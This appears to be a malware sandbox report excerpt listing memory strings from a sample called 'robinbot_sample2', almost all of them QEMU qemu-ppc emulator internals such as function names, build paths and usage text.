Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_mutex_unlock_iothread
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_register_reset
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: /build/qemu-tYeErX/qemu-2.5+dfsg/tcg/tcg-op.c
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: invalid keyword '%s'missing : in object pairMissing value in dictkey is not a string in object/build/qemu-tYeErX/qemu-2.5+dfsg/qobject/json-parser.ctoken && token->type == JSON_LCURLYtoken && token->type == JSON_LSQUAREtoken && token->type == JSON_ESCAPEinvalid hex escape sequence in stringinvalid escape sequence in stringtoken && token->type == JSON_KEYWORDh
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_cond_init
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: /build/qemu-tYeErX/qemu-2.5+dfsg/target-ppc/dfp_helper.c
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_hw_version
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: /build/qemu-tYeErX/qemu-2.5+dfsg/util/qemu-error.c
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: tcg_gen_qemu_st_i64
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: /build/qemu-tYeErX/qemu-2.5+dfsg/qobject/qstring.c
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: /build/qemu-tYeErX/qemu-2.5+dfsg/hw/core/qdev-properties.c
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_strtol
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_opts_id
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu: fatal:
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: QEMU_STACK_SIZE
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: set the elf interpreter prefix to 'path'set the stack size to 'size' bytesselect CPU (-cpu help for list)sets targets environment variable (see below)unsets targets environment variable (see below)forces target process argv[0] to be 'argv0'set qemu uname release string to 'uname'set guest_base address to 'address'reserve 'size' bytes for guest virtual address spaceenable logging of specified items (use '-d help' for a list of items)write logs to 'logfile' (default stderr)set the host page size to 'pagesize'Seed for pseudo-random number generatordisplay version information and exit-%s %-s %-s %s
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_irq_split
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: /build/qemu-tYeErX/qemu-2.5+dfsg/qobject/qjson.c
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_opt_set_bool
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: /build/qemu-tYeErX/qemu-2.5+dfsg/tcg/optimize.c/build/qemu-tYeErX/qemu-2.5+dfsg/include/qemu/bitops.hstart >= 0 && length > 0 && length <= 64 - startnb_oargs == 1
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_irq_proxy
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_ether_ntoa
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_opt_set_number
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_thread_exit
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: /build/qemu-tYeErX/qemu-2.5+dfsg/target-ppc/gdbstub.c
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_thread_join
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: init_qemu_uname_release
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: /build/qemu-tYeErX/qemu-2.5+dfsg/qapi/qmp-input-visitor.c
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: C/build/qemu-tYeErX/qemu-2.5+dfsg/util/unicode.c
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_thread_atexit_remove
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_mutex_lock
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: /build/qemu-tYeErX/qemu-2.5+dfsg/disas.cDisassembler disagrees with translator over instruction decoding
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_sem_post
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: /build/qemu-tYeErX/qemu-2.5+dfsg/target-ppc/translate.c
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_event_reset
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_mutex_iothread_locked
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_anon_ram_alloc
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: QEMU_GDB
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: /etc/qemu-binfmt/ppc
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_opts_print_help
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: opts_accepts_any(opts)!errp \|\| !*errpan identifierDuplicate ID '%s' for %s,id=id=%s%s%s=%s%s=%ld%s%s=%sopts != NULL/build/qemu-tYeErX/qemu-2.5+dfsg/util/qemu-option.ca non-negative number below 2^64You may use k, M, G or T suffixes for kilobytes, megabytes, gigabytes and terabytes.opt->desc && opt->desc->type == QEMU_OPT_BOOLopt->desc && opt->desc->type == QEMU_OPT_NUMBERopt->desc && opt->desc->type == QEMU_OPT_SIZEIdentifiers consist of letters, digits, '-', '.', '_', starting with a letter.!permit_abbrev \|\| list->implied_opt_name!defaults \|\| list->merge_listsqemu_opts_foreachqemu_opts_validateqemu_opts_validateqobject_typeqemu_opts_from_qdict_1qemu_opts_from_qdictqemu_opts_set_defaultsopts_parseqemu_opts_createqemu_opt_foreachqemu_opt_set_numberqemu_opt_set_boolopt_setqemu_opt_unsetqemu_opt_get_size_helperparse_option_numberqemu_opt_get_number_helperparse_option_boolqemu_opt_get_bool_helperqemu_opts_print_helpparse_option_size
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_unregister_reset
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_stamp_bb41a07c541f07aa6886cb62996d065ebf1fe025
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: /build/qemu-tYeErX/qemu-2.5+dfsg/qobject/qfloat.c
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_thread_is_self
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: /build/qemu-tYeErX/qemu-2.5+dfsg/target-ppc/user_only_helper.cppc_cpu_handle_mmu_fault
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_opt_get_bool
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_opts_find
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: /build/qemu-tYeErX/qemu-2.5+dfsg/linux-user/elfload.c
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_event_set
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_set_irq
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: /build/qemu-tYeErX/qemu-2.5+dfsg/tcg/optimize.c
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_anon_ram_free
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_extend_irqs
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: QEMU_LD_PREFIX
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: QEMU_SET_ENV
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu: no user program specified
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_fd_getpagesize
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_real_host_page_size
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: /build/qemu-tYeErX/qemu-2.5+dfsg/qobject/qlist.c
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: QEMU: Terminated via GDBstub
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_free_irq
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: QEMU_LOG
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_cond_wait
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: /build/qemu-tYeErX/qemu-2.5+dfsg/qobject/qbool.c
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: /build/qemu-tYeErX/qemu-2.5+dfsg/util/cutils.c
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu-ppc version 2.5.0 (Debian 1:2.5+dfsg-5ubuntu10.32), Copyright (c) 2003-2008 Fabrice Bellardusage: qemu-ppc [options] program [arguments...]
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: /build/qemu-tYeErX/qemu-2.5+dfsg/hw/core/nmi.c
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: /build/qemu-tYeErX/qemu-2.5+dfsg/qobject/json-parser.c
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_opt_get_size_helper
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: /build/qemu-tYeErX/qemu-2.5+dfsg/util/id.c
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_st_i32
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: /build/qemu-tYeErX/qemu-2.5+dfsg/util/module.c
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: h2g_valid((unsigned long)host_raddr)arg_type[0] == TYPE_PTRie->access == IOC_RW/proc/net/route/proc/self/cmdline /proc/self/maps [stack]h2g_valid(min)h2g_valid(max - 1)%ld (%s) 0%c/proc/self/%d//tmpTMPDIR%s/qemu-open.XXXXXXie->access == IOC_Warg_type == TYPE_PTRarg_type == TYPE_STRUCTse->convert[0] == NULL*field_types == TYPE_PTRVOIDHost cmsg overflow
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: /build/qemu-tYeErX/qemu-2.5+dfsg/util/mmap-alloc.c
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: thunk_convertthunk_register_struct_directthunk_register_struct/build/qemu-tYeErX/qemu-2.5+dfsg/user-exec.ccc->handle_mmu_faulthandle_cpu_signalReserved virtual address too big
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: usage: qemu-ppc [options] program [arguments...]
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: deposit64tcg_optimize{discardset_labelmov_i32movi_i32setcond_i32movcond_i32ld8u_i32ld8s_i32ld16u_i32ld16s_i32st8_i32st16_i32add_i32sub_i32mul_i32div2_i32divu2_i32xor_i32shl_i32shr_i32sar_i32rotl_i32rotr_i32deposit_i32brcond_i32add2_i32sub2_i32mulu2_i32muls2_i32muluh_i32mulsh_i32brcond2_i32setcond2_i32ext8s_i32ext16s_i32ext8u_i32ext16u_i32bswap16_i32bswap32_i32not_i32neg_i32andc_i32orc_i32eqv_i32nand_i32nor_i32mov_i64movi_i64setcond_i64movcond_i64ld8u_i64ld8s_i64ld16u_i64ld16s_i64ld32u_i64ld32s_i64st8_i64st16_i64st32_i64add_i64sub_i64mul_i64div2_i64divu2_i64xor_i64rotl_i64rotr_i64deposit_i64ext_i32_i64extu_i32_i64extrl_i64_i32extrh_i64_i32brcond_i64ext8s_i64ext16s_i64ext32s_i64ext8u_i64ext16u_i64ext32u_i64bswap16_i64bswap32_i64bswap64_i64not_i64neg_i64andc_i64orc_i64eqv_i64nand_i64nor_i64add2_i64sub2_i64mulu2_i64muls2_i64insn_startexit_tbgoto_tbqemu_ld_i32qemu_st_i32qemu_ld_i64qemu_st_i64p[
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: /build/qemu-tYeErX/qemu-2.5+dfsg/util/qemu-option.c
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: qemu_strtosz
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: QEMU_STRACE
Source: robinbot_sample2, 9446.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9457.1.0000556ed814d000.0000556ed8371000.r-x.sdmp, robinbot_sample2, 9459.1.0000556ed814d000.0000556ed8371000.r-x.sdmp	Binary or memory string: QEMU_VERSION
Source: robinbot_sample2, 9446.1.00007fff798fa000.00007fff7991b000.rw-.sdmp, robinbot_sample2, 9459.1.00007fff798fa000.00007fff7991b000.rw-.sdmp	Binary or memory string: nUetc/qemu-binfmt/ppcD
